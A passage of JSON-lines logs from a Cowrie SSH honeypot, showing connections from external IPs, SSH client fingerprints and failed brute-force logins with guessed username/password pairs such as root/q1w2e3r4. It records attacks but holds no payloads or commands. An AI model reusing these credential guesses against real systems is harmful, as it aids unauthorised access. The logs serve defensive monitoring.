sh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:10.824572Z","src_ip":"8.218.166.49","session":"ed0608b0388f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":16428,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6224d8969b9","protocol":"ssh","message":"New connection: 104.28.195.186:16428 (10.17.0.5:22) [session: c6224d8969b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:11.830017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:11.842254Z","src_ip":"104.28.195.186","session":"c6224d8969b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:11.969532Z","src_ip":"104.28.195.186","session":"c6224d8969b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ec2-user","message":"login attempt [root/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:12.359172Z","src_ip":"104.28.195.186","session":"c6224d8969b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:13.457070Z","src_ip":"104.28.195.186","session":"c6224d8969b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":51256,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39a926f9658","protocol":"ssh","message":"New connection: 14.63.196.175:51256 (10.17.0.5:22) [session: e39a926f9658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:17.900857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:17.905814Z","src_ip":"14.63.196.175","session":"e39a926f9658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:18.111458Z","src_ip":"14.63.196.175","session":"e39a926f9658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elena123","message":"login attempt [root/elena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:18.951531Z","src_ip":"14.63.196.175","session":"e39a926f9658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:20.157588Z","src_ip":"14.63.196.175","session":"e39a926f9658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:30.279310Z","src_ip":"8.218.166.49","session":"300a5d378d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:34.377501Z","src_ip":"8.218.166.49","session":"743425944f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.21458911895752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:39.175157Z","src_ip":"104.238.81.133","session":"e072aa12aee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"4609beee3516","protocol":"ssh","message":"New connection: 68.183.178.130:42876 (10.17.0.5:22) [session: 4609beee3516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:43.203298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:43.209284Z","src_ip":"68.183.178.130","session":"4609beee3516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:43.446497Z","src_ip":"68.183.178.130","session":"4609beee3516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:44.428892Z","src_ip":"68.183.178.130","session":"4609beee3516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:45.675187Z","src_ip":"68.183.178.130","session":"4609beee3516","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:45.717129Z","src_ip":"8.218.166.49","session":"5a84097b98a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":33696,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd7d38e1951f","protocol":"ssh","message":"New connection: 182.180.57.212:33696 (10.17.0.5:22) [session: bd7d38e1951f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:46.853351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:46.858416Z","src_ip":"182.180.57.212","session":"bd7d38e1951f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:47.101756Z","src_ip":"182.180.57.212","session":"bd7d38e1951f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":37858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1588c47cbe66","protocol":"ssh","message":"New connection: 8.218.166.49:37858 (10.17.0.5:22) [session: 1588c47cbe66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:47.907540Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"albert","message":"login attempt [root/albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:48.106545Z","src_ip":"182.180.57.212","session":"bd7d38e1951f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:49.351660Z","src_ip":"182.180.57.212","session":"bd7d38e1951f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:49.609230Z","src_ip":"8.218.166.49","session":"ed0608b0388f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39542,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa22b766bde1","protocol":"ssh","message":"New connection: 2.57.122.238:39542 (159.203.135.109:22) [session: aa22b766bde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:54.638985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:54.645607Z","src_ip":"2.57.122.238","session":"aa22b766bde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:54.746638Z","src_ip":"2.57.122.238","session":"aa22b766bde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:55.051621Z","src_ip":"2.57.122.238","session":"aa22b766bde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:56.157169Z","src_ip":"2.57.122.238","session":"aa22b766bde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"93.2","message":"Connection lost after 93.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:57.558242Z","src_ip":"8.218.166.49","session":"5a84097b98a4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:58.054191Z","src_ip":"8.218.166.49","session":"1588c47cbe66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:58.059225Z","src_ip":"8.218.166.49","session":"1588c47cbe66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"89.3","message":"Connection lost after 89.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:05:59.481704Z","src_ip":"8.218.166.49","session":"ed0608b0388f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":13650,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a0e60d1566","protocol":"ssh","message":"New connection: 49.207.40.162:13650 (10.17.0.5:22) [session: 71a0e60d1566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:01.208086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:01.213067Z","src_ip":"49.207.40.162","session":"71a0e60d1566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:01.443338Z","src_ip":"49.207.40.162","session":"71a0e60d1566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:01.879132Z","src_ip":"8.218.166.49","session":"300a5d378d14","protocol":"ssh"}
